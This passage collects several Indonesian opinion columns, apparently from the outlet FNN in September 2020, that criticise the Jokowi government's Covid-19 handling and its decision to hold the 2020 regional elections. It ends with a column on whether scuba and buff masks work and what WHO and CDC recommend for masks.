diri, malah terus berlari. Semakin jauh tersesat ke labirin gelap. Sebuah dokumen rahasia, bahan presentasi mengenai kondisi perbaikan ekonomi serta penanganan Covid-19 jangka panjang terungkap. Mengutip CNBC Indonesia, dokumen itu bersumber dari Kemenko Perekonomian. Menunjukkan Covid-19 baru bisa selesai di akhir 2021 jika proses vaksinasi berjalan sesuai rencana. Mulai pertengahan 2021. Masih dari dokumen yang sama, krisis ekonomi bakal sangat dalam. Skenario pemulihan yang diajukan berjalan sangat lamban. Recovery ekonomi seperti pre-Covid19 diperkirakan baru bisa terealisasi tahun 2022/2023. Memperhitungkan dampak Pilkada mentransmisi Covid-19 di 270 daerah, maka krisis multidimensi akan berlangsung lebih panjang, dalam, dan mematikan dari semua perkiraan yang pernah diajukan. Kehidupan sosial ekonomi masyarakat semakin tidak menentu. Karena itu, seruan menunda Pilkada jadi opsi paling rasional saat ini. Apalagi di level masyarakat, tekanan agar Pilkada ditunda semakin kencang. Dua ormas terbesar di Indonesia, NU & Muhammadiyah bahkan kompak menyerukan Pilkada diundur. Para tokoh, pakar dan pengamat juga menyuarakan aspirasi senada. Mantan Wakil Presiden Jusuf Kalla, secara tegas meminta pemerintah menunda Pilkada hingga vaksinasi Covid19 selesai. Opsi penundaan Pilkada amat beralasan. Agar pesta demokrasi lima tahunan itu, tidak menjelma jadi monumen kematian. Situasi penanganan Covid-19 yang amburadul memendam bom waktu. Akan terjadi ledakan Corona yang sangat mengerikan jika agenda Pilkada tetap dipaksakan. Di masa-masa kampanye, pengumpulan massa skala besar hingga ribuan orang, tak bisa dihindari. Sudah terlihat pada proses pendaftaran para kandidat kemarin. Bakal calon kepala daerah bahkan tidak mampu mendisiplinkan tim sukses dan pendukungnya. Berkerumun mengabaikan protokol kesehatan. Penyelenggara pemilu, juga melakukan pembiaran atas pelanggaran protokol kesehatan itu. KPU bahkan membolehkan konser musik ketika kampanye. Perlu di catat, KPU memegang rekor sebagai lembaga negara paling mematikan. Tahun 2019, sebanyak 894 petugas KPPS gugur karena kelelahan mengurus Pemilu. Potensi angka kematian petugas KPPS akibat Pilkada bakal lebih besar. Tingkat ancamannya bertambah. Corona punya ruang yang nyaman di kerumunan dan sikap indisipliner menegakkan protokol kesehatan. Bagi Jokowi, menunda atau melanjutkan Pilkada memang dilematis. Jika dilanjutkan, tingkat kematian dan penyebaran Covid-19 bakal semakin menyeramkan. Bila ditunda, ongkos politiknya tidak kecil. Kredibilitas pemerintah jatuh. Buah simalakama. Itulah akibatnya, sedari awal Jokowi dan jajarannya tidak tegas merespons Covid-19. Penulis adalah Direktur Eksekutif Tali Foundation.

Demi Anak & Mantu, Rezim Ini Rela Korbankan Rakyat

by M Rizal Fadillah Jakarta FNN – Rabu (23/09). Tiga kekuatan besar Muhammadiyah, Nahdhatul Ulama, dan Koalisi Aksi Menyelamatkan Indonesia (KAMI) telah meminta Pemerintah untuk menunda Pemilihan Kepala Daerah (Pilkada) yang sedianya dilaksanakan tanggal 9 Desember 2020. Dasar permintaan tersebut adalah masalah kemanusiaan, yakni pandemi Covid 19 yang belum ada tanda-tanda akan segera mereda. Sebaliknya, mempelihatkan kecenderungan yang meningkat. Buktinya, sekarang sudah 68 negara di dunia yang menutup pintu (lockdown) bagi masuknya warga negara Indonesia ke negaranya. Alih-alih mendengar seruan yang beralasan tersebut, justru pemerintah menegaskan untuk tidak akan menunda Pilkada serentak 9 Desember nanti. Inilah wujud dan bukti dari kenekadan dan tulinya rezim yang sedang berkuasa atas ancaman kesehatan bagi rakyat Indonesia. Kepentingan jangka pendek yang dominan di kepala penguasa ini. Tugas negara yang diwakili oleh pemerintah, sesuai perintah konstitusi adalah melindungi segenap bangsa dan tumpah darah (rakyat) Indonesia. Untuk itu, sangatlah berbohong pernyataan bahwa kesehatan adalah yang utama. Faktanya, justru syhawat dan nafsu untuk berkuasa menjadi Walikota Solo dan Walikota Medan yang paling diutamakan, sehingga Pilkada harus tetap jalan dengan alasan apapun. Banyak sekali nada sinis bahwa urusan anak dan mantu yang menjadi prioritas utama Pilkada. Bahkan menjadi segala-galanya bagi pemerintah dan kekuasaan sekarang ini. Bukan lagi urusan bagaimana melindungi rakyat dari ancaman penyebaran pandemi Covid-19. Rakyat mau bertambah yang terjangkit dan positif Covid-19, tidak perduli. Begitu juuga dengan yang meninggal karena posotif Covid-19. Yang terpenting adalah Pilkada tetap dilaksanakan. Sehingga hasilnya adalah anak dan menantu menjadi Walikota Solo dan Walikota Medan. Itu yang terpenting. Kepedulian rezim pada penanggulangan Covid 19 memang rendah dan acak-acakan. Ketika masyarakat keras mendesak "lockdown", PSBB yang diberlakukan. Belum beres PSBB sudah canangkan New Normal. Anggaran kesehatan masih tertinggal dibanding infrastruktur. Tenaga medis yang banyak gugur, namun tidak dihargai. Malah menyebut masih banyak stock katanya. Sungguh menyakitkan. Pilkada adalah proses politik yang bukan darurat pelaksanaannya. Hanya sebagai alat menuju terlaksananya tujuan bernegara, sebagaimana diperintahkan pada alinea ke empat Pembukaan UUD 1945. Sementara melindungi segenap bangsa dan tumpahh darah Indonesia dari ancaman virus laknat Covid-19 adalah kewajiban negara kepada rakyat. Bagitu aturannya Pak Jokowi. Penundaan pelaksanaan Pilkada adalah biasa dan bijaksana. Berbagai penghelatan besar masyarakat seperti kongres atau muktamar telah ditunda. Pilkada memiliki tahapan rawan penyebaran Covid-19, baik saat kampanye maupun pemungkutan suara. Jikapun protokol ketat diterapkan, maka ini akan menghilangkan nilai demokrasi. Rekayasa dipastikan mudah sekali terjadi. Indonesia dinilai buruk dalam penanganan pandemi covid 19 oleh masyarakat dunia internasional. Sudah 68 negara menutup pintu masuk untuk warga negara Indonesia. Pada saat negara lain menurun penyebaran Covid-19, justru kita meningkat. Kini dengan pelaksanaan "pesta demokrasi" yang dipaksa kan untuk dijalankan, maka bertambah lagi bahan bagi kecaman dunia. Indonesia ini negara pemberani, nekad, atau sudah memang gila menghadapi penyebaran Covid-19? Desakan dari masyarakat melalui Muhammadiyah, NU, KAMI, dan organisasi lain, bukan untuk membatalkan Pilkada 2020. Tetapi hanya untuk menunda sampai pendemi Covid-19 mereda. Apa salahnya untuk dapat dipertimbangkan dan diterima? Covid 19 itu sangat berbahaya. Satgas telah dibentuk, dan berganti berkali-kali. Sekitar lima kali Kepres atau Perpres tentang Satgas diganti-ganti. Tujuannya untuk menunjukan bahwa situasi memang benar-benar darurat. Bongkar pasang penanggungjawab pengendali pun telah dilakukan. Luhut Panjaitan kini menjadi komandan tertinggi. Huueebaat kan? Bila pemerintah teta ngotot. Tidak mau menunda Pilkada serentak 2020, maka pertanggungjawaban dari segala risiko yang diakibatkannya harus ditanggung. Termasuk siap untuk dinyatakan bahwa perbuatannya telah melanggar Konstitusi. Siap mundur atau dimundurkan jika gagal atas kebijakan "nekad dan tuli" nya tersebut. Nah, sebagai penyelenggara negara maka Pemerintah wajib untuk mendahulukan perlindungan kepada warga negara. Bukan ngotot untuk memaksakan Pilkada. Sebab Pilkada itu sesuatu yang sangat bisa ditunda. Kecuali jika hanya demi kepentingan keluarga. Dan itu adalah fikiran gila dan tuli. Penulis adalah Pemerhati Politik dan Kebangsaan.

Gara-Gara "New Normal", Indonesia Tak Kunjung Normal

by Tony Rosyid Jakarta FNN – Selasa (22/09). Memang, tak mudah bagi setiap negara menghadapi wabah covid-19. Terutama yang telat menyadarinya. Indonesia misalnya, tergopoh-gopoh saat virus menyerang. Bayangkan musuh datang dan anda nggak punya persiapan. Empon-empon model apapun, nggak akan tahan. Yang jengkelin, sudah salah prediksi, telat antisipasi, keliru kalkulasi, gagap, bingung dan panik, lalu kirim pasukan buzzer dan infulencer untuk membuat narasi-narasi pembenaran. Sudah begitu, narasinya kampungan dan primitif lagi. Yang penting dapat bayaran. Koplak. Tak perlu ada dilema antara pandemi dan ekonomi. Semua program bisa bersinergi. Kuncinya asal mengerti masalah dan serius menangani. Bukan dengan mengganti tim berkali-kali. Jangan masalahnya dan sakitnya berada di selatan, sementara yang diobati di utara. Ya pasti nggak nyambung. Karantina wilayah, itu ide jitu. Pandemi bisa dibatasi, ekonomi akan segera dapat diatasi. Di awal pandemi, ada kepala daerah yang mengusulkan gagasan karantina ini. Tepatnya tanggal 29 Maret. Tanggal 30 Maret diterima, langsung ditolak. Buru-buru sekali. Pada hari itu juga. Itu otoritas pusat, katanya. Tahu! Itu memang otoritas pusat. Makanya, diusulin, bukan diputusin. Akhirnya, ketemulah istilah PSBB. Mirip karantina juga sih. Meski telat, ini kebijakan sangat tepat. April-Mei, ketika PSBB diberlakukan, kasus terinveksi covid-19 bisa ditekan. Rata-rata perhari 445, dengan tingkat kematian rata-rata 26 orang setiap hari. Tanggal 14 April, Jokowi posting video. Wacanakan tatanan hidup baru. Bahasa inggrisnya "New Normal" dipidatokan Jokowi 15 Mei di Istana. Diantara isi pidato Jokowi, "Dan kita memang harus berkomprimi dengan covid, bisa hidup berdampingan dengan covid, yang kemarin saya bilang kita harus berdamai dengan covid, karena informasi dari WHO yang saya terima meskipun kurvanya agak melandai, atau nanti berkurang, tapi virus ini tak akan hilang. Artinya, sekali lagi kita harus berdampingan hidup dengan covid. Sekali lagi yang penting masyarakat produktif dan aman dari covid". Entah dapat ide dan gagasan dari mana, pemerintah membuat wacana New Normal. Nggak sabar. Terlalu terburu-buru. Panik yang nggak perlu. Berlebihan takutnya terhadap "bayangan" dampak ekonomi, tanpa dikalkulasi dari banyak sisi. Ingin segera normal tanpa rasionalitas untuk antisipasi. Apa yang terjadi? Semua ambyar! Saat itu saya bilang, "ini Herd Imunity". Siapa yang kuat akan hidup, siapa yang lemah, bakal kelar. Terbukti! Kasus covid-19 naik drastis. Juni naik jadi 1.141 perhari. Juli naik 1.714 perhari. Agustus naik 2300 perhari. Dan September di atas 3000. 16 September kemarin kasus naik hampir 4000 sehari. Tepatnya 3.963 orang. Jika April-Mei yang mati perhari 26 orang, Juni naik jadi 49 orang. Juli 73 orang. Agustus 80 orang. September ini, tingkat kematian di atas 100 orang per hari. Tanggal 16 September kemarin, ada 135 orang mati karena covid-19. Dan trend angkanya terus naik. Ngeri dah! Anehnya, ketika kasus covid-19 naik signifikan di bulan Juni, persis pasca New Normal dimunculkan, dan terus naik di bulan juli, kenapa pemerintah nggak melakukan evaluasi? Mengapa tidak segera tarik rim darurat? Lalu apa gunanya data kalau nggak dievaluasi dan jadi referensi kebijakan? Sampai disini, rakyat betul-betul nggak paham. Dan ketika di bulan September kenaikan kasus covid-19 semakin tak terkendali, ada kepala daerah melakukan evaluasi dan berinisiatif tarik rim darurat, justru diberi peringatan. Dibully dan diserang habis-habisan. Ini ada apa? Saat berlakukan New Normal, apakah pemerintah tidak mempertimbangkan watak "tidak disiplin" masyarakat? Kok salahkan masyarakat? Tidak! Mereka juga korban dari elit dan pemimpin yang terbiasa tidak disiplin. Sudah jadi tabiat dari rezim ke rezim. Turun temurun. Masyarakat tidak disiplin hampir dalam semua hal. Diantaranya hukum. Kalau penegak hukum nggak disiplin, bagaimana masyarakat bisa disiplin? Teorinya, "Hukum yang tidak ditegakkan dengan baik, akan melahirkan masyarakat yang tidak disiplin" . Makanya pemimpin harus pahami itu. Coba saja "tilang" diberlakukan dengan ketat di jalan raya, pelanggaran lalu lintas "pasti" akan berkurang drastis. Jika tak ada makelar kasus, kriminalitas akan turun. Kalau UU Pemilu ditegakkan, pelanggaran pemilu akan surut. Belum lagi praktek hukum "tebang pilih", yang makin merusak kedisplinan masyarakat. Andai saja New Normal dibarengi dengan operasi yustisi, hukum ditegakkan dengan memberi sanksi kepada masyarakat yang mengabaikan protab kesehatan covid-19, maka Indonesia saat ini nggak perlu banyak jatuh korban. Nggak perlu juga dilockdown oleh 68 negara di dunia. Setelah ratusan orang mati perhari, baru bicara UU No 4/1984 tentang kemungkinan penerapan sanksi pidana dan denda bagi yang mengabaikan protab kesehatan. Minta pergub, perbup dan perwali dijadikan perda, supaya ada sanksi. Apa anda sedang bercanda pak? Bukannya kalau kasus covid-19 naik, itu lahan bisnis yang menggiurkan? Tidakkah ini menguntungkan untuk bisnis masker dan APD (Alat Pelindung Diri), dengan semua turunannya? Terutama bagi penyedia vaksin. Sudah keluar modal dan investasi besar, lalu nggak ada yang terpapar corona, bandar bisa tekor dooong??? Au ah gelap. Jangan ada yang memancing lagi di air keruh. Ora elok! Disiplin, ini jadi masalah bagi masyarakat akibat penegakan hukum yang bermasalah. Terhadap masyarakat yang sedang belajar disiplin karena covid-19, New Normal muncul. Mendadak semuanya berubah. Anjuran 3 M: Memakai masker, Menjaga jarak dan Mencuci tangan mulai diabaikan. Saat kasus covid-19 perhari dibawah 500 orang, sekitar bulan Maret-Mei, masyarakat waspada dan takut terhadap corona. Orang-orang nggak keluar rumah kecuali kebutuhan urgent. Gang-gang RT dan RW diportal. New Normal muncul. PSBB diperlonggar. Kasus naik. Semakin hari makin tinggi jumlahnya. Bertambah hampir 4000-an orang perhari, dengan tingkat kematian di atas 100 orang setiap harinya. Meski semakin besar ancaman penyebarannya, masyarakat merasa aman-aman saja. Ramai beraktifitas di luar rumah. No masker. No cuci tangan. No jaga jarak. Cafe-Cafe dan restoran penuh. Mall-mall berjejal orang belanja. Jalanan padat. Orang-orang berkerumun lagi. Normal kembali, seperti gak ada penyebaran covid-19. Ini terjadi sejak makhluk bernama "New Normal" lahir. Dan saat itu, nyawa rakyat seperti tak penting lagi. Dihiraukan! Gagasan New Normal telah mengakibatkan pertama, angka kasus covid-19 naik terus, bahkan sangat tinggi. Kedua, ekonomi tetap terpuruk. Tangani ekonominya, tapi abaikan kesehatannya. Gagal! Semua langkah ekonomi seperti sia-sia. Ketiga, Indonesia dilockdown 68 negara. Lalu, siapa yang harus bertanggung jawab atas semua ini? Nggak ada satupun pejabat yang legowo minta maaf kepada rakyat yang telah menjadi korban. Dasar….. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Pemimpin Yang Dibenci Rakyatnya

by M Rizal Fadillah Jakarta FNN – Selasa (22/09). Menjadi pemimpin itu berisiko mendapatkan rahmat atau laknat. Tergantung dari apakah menunaikan amanat atau berkhianat. Pemimpin juga harus betul-betul memperhatikan kepentingan rakyat yang dipimpinnya. Sebaliknya bukan berorientasi pada kepentingan dirinya sendiri yang hanya untuk menumpuk kekuasaan atau kekayaan. Pemimpin yang hanya mementingkan dirinya dan keluarganya pasti dibenci oleh rakyat. Apalagi setelah tidak berkuasa. Bakalan dicemoh oleh rakyatnya sendiri. Keluar dari rumah saja, seperti dibayang-bayangi oleh ketakutan mendapatkan cemohan dari masyarakat. Ketika terjadi situasi yang menimpa pada diri pemimpin apakah kesulitan atau sakit atau penderitaan lainnya, maka rakyat bukan simpati dengan mendoakan agar lepas dari kesulitannya, melainkan mengolok-olok, menghukumi, bahkan mungkin akan mendoakan yang buruk. Betapa celakanya urusan dunia dan akherat pemimpin yang dibenci oleh rakyatnya. Di musim covid 19 ketika pejabat tertular maka lihat bagaimana reaksi publik. Tak peduli dengan kondisi yang mungkin akan membaik atau sembuh. Sumpah serapah bertebaran di media sosial. Mengaitkan dengan perilakunya yang selalu menyakiti rakyat atau umat. Kasus Menteri Agama (Menag) Fachrul Rozi yang terberitakan terkena covid 19 suatu hal yang biasa ,dan mungkin saja sembuh. Tetapi jagad dunia maya menjadi heboh. Ada yang mengaitkan sebagai peringatan agar segera bertobat, hingga ada yang nyeletuk kalau ini juga adzab. Berbagai macam penilaian bisa bisa saja bermunculan. Mengapa Menteri yang mengurusi agama dicaci, hingga urusan tobat segala? Ini semua akibat dari ulahnya sendiri. Menteri Agama itu fungsinya menjaga Agama. Bukan merusak dan memyakiti umat beragama. Ributnya cuma radikalisme dan intoleransi. Akibatnya ya itulah dibenci umat. Ingat itu baik-baik, supaya disayang dan didoakan oleh umat beragama, khususnya umat Islam. Banyak Menteri yang tidak amanah. Tidak disukai sikap dan kebijakannya oleh rakyat sendiri. Menteri Pendidikan, Menteri Hukum dan HAM, Menteri Kesehatan, Mendagri, Menko Maritim dan Investasi, dan Menteri lain yang rawan dibenci oleh rakyatnya sendiri. Jika banyak Menteri yang tak disukai, maka sudah pasti bermuara kepada Presiden. Sedikit sekali puja-puji kepada Presiden. Kalaupun ada puja-puji, itu pun dilakukan oleh orang yang dikualifikasikan sebagai pendukung buta. Tetapi yang mengolok-olok atau membully justru jauh lebih banyak. Ketika media mainstream dibungkam, media sosial menjadi cermin. Lihat dan rasakan saja kontennya. Positif ataukah negatif? Terlepas dari konteks aktual kekinian. Namun menjadi pelajaran sejarah bahwa pemimpin yang dibenci oleh rakyatnya bukan saja dipastikan jatuh dengan sakit. Tetapi juga kenangan pasca jatuhnya penuh dengan ceritra kenistaan dan keburukan. Tinta hitam mengenai masa kelam kepimpinannya. Pemimpin yang dibenci karena ketidakadilan diancam adzab pedih di hari kiamat. Rasulullaah salallaahu alaihi wasallam mengingatkan tentang datangnya siksaan yang pedih terhadap pemimpin yang zalim atau curang, "asyaddunnaasi 'adzaban yaumil qiyamati imamun ja-ir". Artinya, orang yang paling pedih siksa di hari kiamat adalah pemimpin yang zalim/curang (HR Thabrani). Allah SWT mengingatkan, akan adanya pemimpin yang pura-pura bercitra baik. Bahkan dalam beragama, sehingga orang pun kagum dan terkecoh, padahal dia orang yang paling keras dalam kezaliman. "Dan di antara manusia ada orang yang ucapannya tentang kehidupan dunia menarik hatimu, bahkan dipersaksikan kepada Allah, padahal ia adalah penentang (agama) yang paling keras" (QS Al Baqarah 204). Kebencian umat kepada perilaku zalim tidak serta-merta menghentikan kezaliman. Dapat saja waktunya Allah tangguhkan dan adzab itu datang kelak dengan tiba tiba pada momen yang pas dan tepat. Tanpa disadari. "Dan ikutilah sebaik-baik yang diturunkan Allah sebelum datang adzab bagimu tiba-tiba (baghtatan) sedang kamu tidak menyadari" (QS Az Zumar 55). Oleh karenanya, hendaklah pemimpin itu tidak bermain-main dalam melaksanakan peran dan amanat dalam kepemimpinannya. Adalah keliru untuk masa bodoh dengan kejengkelan atau kebencian dari rakyatnya sendiri. Sebab sangat mungkin terhinan di dunia dan akhirat. Sadarlah bahwa semua amal bumi berdampak langit. Tuhan itu Maha Mendengar dan Maha Melihat. Adzab-Nya dapat datang dengan cepat dan tiba-tiba. Penulis adalah Pemerhati Politik dan Keagamaan.

Hoorreeee... Pilkada 2020 Ditunda, Kecuali Solo dan Medan

by Hersubeno Arief Jakarta FNN- Selasa (22/09). Jangan terlalu serius dulu. Pengumuman itu hanya joke. Bahan candaan yang dikirim seorang purnawirawan perwira tinggi TNI. Meme-nya juga sudah beredar di medsos. Sang purnawirawan memberi saran, jika ingin Pilkada serentak ditunda, maka usulkanlah kepada Presiden dengan pengecualian. Pilkada Solo dan Medan boleh jalan terus. Dijamin usulan itu akan langsung diterima Jokowi. Ya ada win-win solution. Rakyat happy, Jokowi lebih happy lagi. Ormas-ormas besar seperti NU dan Muhammadiyah, juga KAMI tak perlu marah-marah, kesal dan kehilangan muka. Sebab usulan para ormas besar agar Pilkada serentak ditunda didengar Presiden. Marwah dan kehormatan sebagai organisasi besar di depan umat tetap terjaga. Presiden juga bisa dengan riang gembira menyambutnya. Kepentingan politiknya menjaga hubungan baik dengan rakyat dan umat tetap terjaga. Satu masalah besar terselesaikan. Tak perlu menambah masalah baru, di tengah kebingungan pemerintah mengambil keputusan, apakah mendahulukan kesehatan atau ekonomi. Guyon, dan bercanda. Jangan terlalu serius adalah resep paling mujarab untuk meningkatkan kekebalan tubuh di tengah pandemi. So sekali lagi, jangan terlalu serius setiap kali mendengar pengumuman pemerintah, wabil khusus yang dari Presiden Jokowi. Ketika Presiden Jokowi menyatakan perang melawan Covid. Ketika Presiden marah-marah kepada para menteri. Mau membubarkan lembaga, dan reshufle kabinet. Ketika Presiden Jokowi menyatakan akan mengutamakan kesehatan di atas ekonomi, juga tidak terlalu serius-serius amat kok. Mengapa kita harus serius? Memangnya siapa yang jadi Presiden? Siapa yang bakal paling disalahkan? Dimintai pertanggung-jawaban bila terjadi apa-apa pada bangsa ini? Dalam budaya Jawa yang penuh pasemon (sindiran halus), guyon-guyon parikeno, alias bercanda sambil menyindir telak, jadi formula yang pas untuk kondisi Indonesia saat ini. Saat pemerintah alergi dengan kritik. Saat kritik bakal dibully oleh buzzer. Saat kritik bisa berujung dilaporkan ke polisi dan berakhir di bui. Jangan terlalu serius. Perbanyak bercandalah. Tak perlu khawatir bakal terkena undang-undang ITE yang sering dipakai untuk menekan lawan politik yang oposisi kepada penguasa. Kalau menggunakan pasemon atau guyon-guyon perikeno, pesan tetap tersampaikan. Apakah saran lewat sindiran itu diterima dan dilaksanakan, itu soal lain. Bukan urusan kita lagi. Sarat kepentingan Sulit untuk menafikan, keputusan pemerintah tetap menggelar Pilkada di tengah pandemi, sarat dengan kepentingan. Mulai dari kepentingan politik pribadi, keluarga, kelompok, maupun golongan. Kepentingan ekonomi para elit politik tingkat nasional, lokal, dan kepentingan para pemilik modal picik, licik, tamak dan culas. Karena anak dan menantu ikut berlaga di Pilkada Walikota Solo dan Medan, sangat sulit untuk membantah, Jokowi dan keluarga, punya kepentingan langsung agar Pilkada tetap dilaksanakan. Ini momentum paling pas menjaga dan memastikan anak dan menantunya yang miskin pengalaman politik, miskin kapasitas dan kapabilitas untuk terpilih. Nasib Gibran di Solo dan Bobby Nasution di Medan tidak semata bergantung pada garis tangan. Tapi yang paling penting, campur tangan. Mumpung Jokowi masih menjadi Presiden. Mumpung masih punya pengaruh besar mengendalikan parpol dan organ-organ kekuasaan. Semuanya itu erat kaitannya dengan bisnis pengaruh. Bahasa kerennya, business of influence. Jika harus ditunda, momentum akan lewat. Dengan pandemi yang kian tak terkendali. Covid mulai menggigit elit. Mulai dari menteri, Ketua KPU, wakil gubernur, walikota, bupati, dan rektor perguruan tinggi, kita tidak pernah tahu apa yang akan terjadi esok hari. Pilkada memang beda dengan Pilkades. Mendagri Tito Karnavian dengan mudahnya mengumumkan semua Pilkades ditunda. Pilkada tidak. Di Pilkades tidak ada cukong politik picik, licik, tamak dan culas yang punya kepentingan. Paling banter pensiunan lurah. Kalau di Jawa disebut sebagai lurah dongkol, yang punya kepentingan. Di Pilkada, wabil khusus Pilkada serentak kali ini, banyak sekali kepentingan yang berkelindan. Sekarang atau tidak sama sekali ya Pak Jokowi? Penulis adalah Wartawan Senior FNN.co.id.

Jangankan Masker, APD Saja Bisa Ditembus Covid-19!

by Mochamad Toha Surabaya FNN - Selada (22/09/. Dirjen Pencegahan dan Pengendalian Penyakit Kemenkes, Achmad Yurianto, menyoroti PT KCL yang sedang sosialisasi kepada pengguna KRL untuk menghindari pemakaian masker buff dan masker scuba karena penyebaran droplet masih mungkin terjadi. Kementerian Kesehatan (Kemenkes) menyatakan scuba bukan termasuk masker. “Masker ya masker, titik. Kenapa melari-larikan ke scuba segala macam. Kan disuruhnya pakai apa? Masker. Scuba itu masker bukan? Lha bukan. Emang scuba itu masker?” kata Yuri. Hal itu ditegaskan Yuri di gedung DPR, Senayan, Jakarta, Rabu (16/9/2020), seperti dilansir Detik.com, Rabu (16 Sep 2020 14:45 WIB). Yuri juga menyinggung soal penerapan protokol kesehatan 3M, yaitu memakai masker, mencuci tangan, dan menjaga jarak. Yuri menegaskan masker tidak hanya sebagai penutup hidung. Ia menilai, tidak ada salahnya penggunaan scuba sebagai masker dilarang. “Ajarin masyarakat dong, masker ya masker, titik. Kenapa sih dibikin konflik? Masker, bukan penutup hidung,” lanjutnya. “Kalau nutup hidung pakai kertas bisa kan. Tapi yang diminta apa? Masker,” tegas Yuri. “3M itu nomor satu apa? Masker. Saya tanya, scuba itu masker bukan? Buff itu masker bukan? Berarti nggak memenuhi kan. Kalau dilarang apa salahnya?” lanjut Yuri. Yuri juga kembali menegaskan bahwa scuba maupun buff bukanlah masker. Ia menekankan pentingnya menggunakan masker yang bukan sekadar sebagai penutup wajah. “Jadi ini yang kemudian bikin masyarakat bingung. Jadi please, masker, masker, titik.” ujar Yuri. “Jangan ditawar-tawar lagi. Kan 3M itu tidak diawali dengan yang pertama menutup muka. Kalau menutup muka pakai ember juga bisa. Yang diminta itu apa? Scuba itu apa? Kalau scuba itu masker, berani kamu nyelam pakai ini? Jadi bukan, ya,” tandasnya. Sebelumnya diberitakan, akun media sosial PT KCI, seperti Instagram, melakukan sosialisasi menghindari penggunaan masker scuba dan buff. Dalam penjelasan PT KCI, masker scuba atau buff hanya 5% efektif mencegah risiko terpapar virus. “Hindari pemakaian masker scuba atau buff yang hanya 5% efektif dalam mencegah risiko terpaparnya akan debu, virus, dan bakteri,” tulis Instagram @commuterline. VP Corporate Communications PT KCI, Anne Purba, mengatakan hal ini baru sebatas sosialisasi. Sosialisasi agar menghindari penggunaan masker scuba dan buff di KRL ini karena penyebaran droplet masih mungkin terjadi. Anne menyarankan pengguna KRL memakai masker kain berlapis dan masker kesehatan. “Masker kain 2-3 lapis dan masker kesehatan mengurangi penyebaran droplet yang masih mungkin terjadi,” ucap Anne. Sementara itu, masker jenis ini juga tidak disarankan oleh Satgas Penanganan COVID-19. Juru Bicara Satgas Penanganan Covid-19, Wiku Adisasmito, mengatakan masyarakat yang sehat memang tetap dibolehkan memakai masker kain. Masker bedah lebih diperuntukkan bagi masyarakat yang sakit atau bergejala. “Masker kain yang bagus adalah yang berbahan cotton dan berlapis 3 karena kemampuan memfiltrasi partikel virus akan lebih baik dengan jumlah lapisan lebih banyak," kata Wiku dalam jumpa pers yang disiarkan di YouTube Sekretariat Presiden, Selasa (15/9). About Mask Ada tulisan menarik perihal masker dari alumni ITB, seorang Pharma-Excellent bernama Arie Karimah Muhammad. Menurutnya, sampai saat ini hanya ada Dua jenis masker yang bisa mencegah masuknya virus Covid-19 ke mulut atau saluran pernafasan, yaitu: Respirator N-95 dan Surgical Mask (masker bedah) 3 lapis. Spesifikasi Respirator N-95: Melindungi dari Seluruh Partikel yang ada di udara: bakteri, virus, debu, dan serbuk sari; Melindungi dari cairan, misal: droplets dari batuk atau bersin; Memblokir > 95% partikel berukuran 0,3 mikron. Perlu dicatat, FDA mengatakan, yang Berhak memakai Respirator N-95 adalah dokter dan tenaga kesehatan lainnya, yang Bersentuhan Langsung dengan pasien terinfeksi. Respirator N-95 Tidak untuk digunakan oleh masyarakat, meski mereka sanggup membelinya. “Karena jika masyarakat ikut-ikutan membeli Respirator N-95, maka bisa terjadi kekurangan stock untuk tenaga kesehatan,” tulis Arie Karimah. Masker yang sangat populer di Jepang, Japanese Pitta mask sampai perlu melakukan riset untuk mengetahui apakah maskernya Bisa mencegah virus Covid-19 masuk ke mulut atau saluran pernafasan? Jawabannya adalah: Sama Sekali Tidak Bisa. “Pitta mask terbuat dari bahan polyurethane, yang biasa digunakan untuk spons dan puff bedak. Jadi terasa lembut dan ringan,” ungkap Arie Karimah. Hasil riset mereka menunjukkan bahwa Pitta mask efektif menyaring hingga 64% partikel berukuran > 2,5 mikron, sedangkan virus Covid-19 berukuran Jauh Lebih Kecil, yaitu 0,125 mikron atau 125 nanometer. Menurut Arie Karimah, jadi Pitta mask 99% efektif menyaring: Debu dan serbuk sari, yang ukurannya di kisaran 5 – 100 mikron; Bakteri, yang berukuran > 2,5 mikron. Bagaimana dengan Scuba mask? Scuba mask dibuat dari bahan serat poliester, sehingga jika dipegang terasa halus, tampak agak mengkilap dan jika dipakai menyesuaikan dengan lekuk wajah. Jika dilihat bentuknya mirip dengan pitta mask. “Namun saya tidak menemukan riset dari scuba fabric mask seperti hanya yang dilakukan oleh pitta mask,” tulis Arie Karimah dalam status FB-nya, Kamis (17 September 2020). Arie Karimah memberi perbandingan ukuran: Virus secara umum: 0,003 – 0,5 mikron, atau 3 – 500 nanometer. Covid-19: 0,125 mikron (125 nm). Influenza: 0,1 mikron (100 nm). Polio: 0,03 mikron (30 nm); Bakteri: 1-5 mikron. Contoh: Staphylococcus: 1 mikron. E.coli: 2 mikron. Serbuk sari: 10-90 mikron. Tetes hujan: 600-10.000 mikron. “Jadi kalau Anda melihat meme KAI di kolom komentar, sekarang Anda tahu: itu efektif menyaring apa? Informasinya Tidak Lengkap,” tegas Arie Karimah. Jadi, “Jika masker scuba dilarang dipakai penumpang kereta, maka masker kain satu lapis yang banyak dijual seharga Rp 5 ribu di pinggir jalan itu juga harus dilarang.’ Tentang Masker Bahan (Fabric), Tidak Harus Kain (Cloth), Arie Karimah merujuk kepada 2 institusi besar yang sangat terpercaya: WHO dan CDC (Centers for Disease Control and Prevention). WHO: Merekomendasikan masker bahan 3 lapis untuk dipakai di ruang publik, di dalam toko atau transportasi umum ketika physical distance 1,5 – 2 meter sulit dipraktekkan. Jika Anda menyopir sendirian di dalam mobil tidak perlu memakai masker. Sampai saat ini WHO belum mengetahui berapa besar proteksinya. Hanya dikatakan secara kualitatif bahwa jika Anda memakai masker berarti Anda melindungi orang lain. Sebaliknya, jika orang lain memakai masker berarti dia melindungi Anda. Masker bahan yang ideal terdiri dari 3 lapis: Lapisan dalam, yang bersentuhan langsung dengan mulut dan hidung: terbuat dari bahan material hidrofilik, yang akan menyerap droplet. Contoh: katun, rajutan. Lapisan tengah: berfungsi sebagai filter dari luar. Bisa dalam bentuk sisipan (insert) atau lapisan. Bahan hidrofobik, misal: polipropilen non woven. Lapisan yang menghadap luar: hidrofobik, yang akan mencegah cairan/droplet/lembab menembus lapisan dalam. Contoh bahan: sintetik material poliester, atau campuran poliester dan katun. Masker harus menjamin penyaringan dan membuat pemakaianya tetap bisa bernafas dengan baik. Pertanyaaannya: masker dengan spesifikasi seperti itu apakah harganya terjangkau oleh masyarakat kelas bawah? Arie Karimah mengatakan, CDC merekomendasikan pemakaian masker di area publik atau berada di sekitar orang yang tidak tinggal serumah dengan Anda. “Masker minimum terdiri dari 2 lapis bahan, tanpa menyebutkan jenis bahannya,” 